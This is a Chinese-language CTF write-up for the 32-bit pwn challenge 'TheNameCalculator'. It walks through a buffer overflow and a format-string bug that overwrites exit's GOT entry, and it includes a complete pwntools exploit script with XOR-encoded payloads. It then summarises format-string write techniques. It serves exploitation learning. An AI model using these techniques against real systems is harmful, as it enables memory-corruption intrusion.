TheNameCalculator题解
题目链接:TheNameCalculator
题解
首先看程序开启的保护,有Canary和NX栈不可执行。
IDA打开程序,shift+F12查看字符串,发现有"Here is your flag:"。点进去通过交叉引用找到该字符串在superSecretFunc()函数中,该函数可以执行"cat flag"命令获得flag。使用交叉引用发现该函数没有被任何地方调用,所以这道题就是想办法修改某个执行地址为这个函数地址,从而执行该函数。
程序main函数中存在缓冲区溢出,通过溢出buf修改变量v4的值,从而执行secretFunc()函数,这很容易实现。
secretFunc()函数第22行存在格式化字符串漏洞,buf内容为15行用户输入后经过第18、19行加密后的内容。程序利用的方法是修改exit_got的地址为superSecretFunc()函数地址,使程序在退出时执行相应函数。
通过gdb调试,在0x80486d5处下断点,发现字符串偏移为0xff9143f0-0xff9143c0=0x30=48,即字符串偏移位置为48/4=12。
还需要注意,buf[7]保存的是Canary,如果在伪代码看不出的话可以通过汇编代码看出来。函数最后进行了一系列比较,前两个验证返回地址是否一致,第三个验证Canary是否一致。
所以输入的数据限制在28字节内,构造格式化漏洞利用payload。其中superSecretFunc()函数地址为0x08048596,exit_got位于0x804a024,exit_got指向的地址前2字节也是0x0804,所以只需要覆写低2字节,即将0x804a024开始的2字节改为0x8596(34198).
payload = b"%34198c%16$hnaaa"+p32(0x804a024)
此外,因为程序会对用户输入的数据进行加密,所以我们需要对输入进行处理使其经程序加密后为我们上面构造的payload。
最终exp如下
from pwn import *
context.log_level='debug'
p = remote('redirect.do-not-trust.hacking.run',10311)
payload = b'a'*0x1c + p32(0x6a4b825)
p.recvuntil('name?\n')
p.send(payload)
def encode(payload):
buf = list(payload)
for i in range(0,len(buf)-4):
temp = bytes(buf[i:i+4])
tmp = u32(temp)^0x5F7B4153
buf[i:i+4]=list(p32(tmp))
return bytes(buf)
payload = b"%34198c%16$hnaaa"+p32(0x804a024)
payload = encode(payload)
p.recvuntil('please\n')
p.send(payload)
p.recv()
p.interactive()
最终获得flag.
收获
1.重温了格式化字符串漏洞利用方法
形式:printf(user_input)
利用:
泄露栈上地址:%[order]$p
任意内存覆盖:%[num]c%[order]$n[padding][addr]
需要计算格式化字符串相对于传入printf参数的栈上位置的相对偏移off_order,num为需要写入的值,order为写入地址相对栈参数位置相对偏移,padding为保证前面为4/8整数倍,addr为写入地址。n表示写入4字节,hn为2字节,hhn为单字节。
也可使用pwntools的fmtstr_payload()函数
# 将addr地址处值改为value,order为格式化字符串偏移
fmtstr_payload(order,{addr:value})
2.python类型转化
bytes类型不能直接修改元素的值,可以用list()转为列表修改。
列表转为bytes类型可直接使用bytes()函数。
3.plt与got表
plt处的内容为一个jmp got表值
.plt:08048470 jmp ds:off_804A024
相应got.plt表位置对应了一个地址
.got.plt:0804A024 off_804A024 dd offset exit
可以通过修改函数got.plt值实现控制流转移。
标签:TheNameCalculator,plt,函数,题解,地址,got,buf,payload From: https://www.cnblogs.com/C0ngvv/p/16887741.html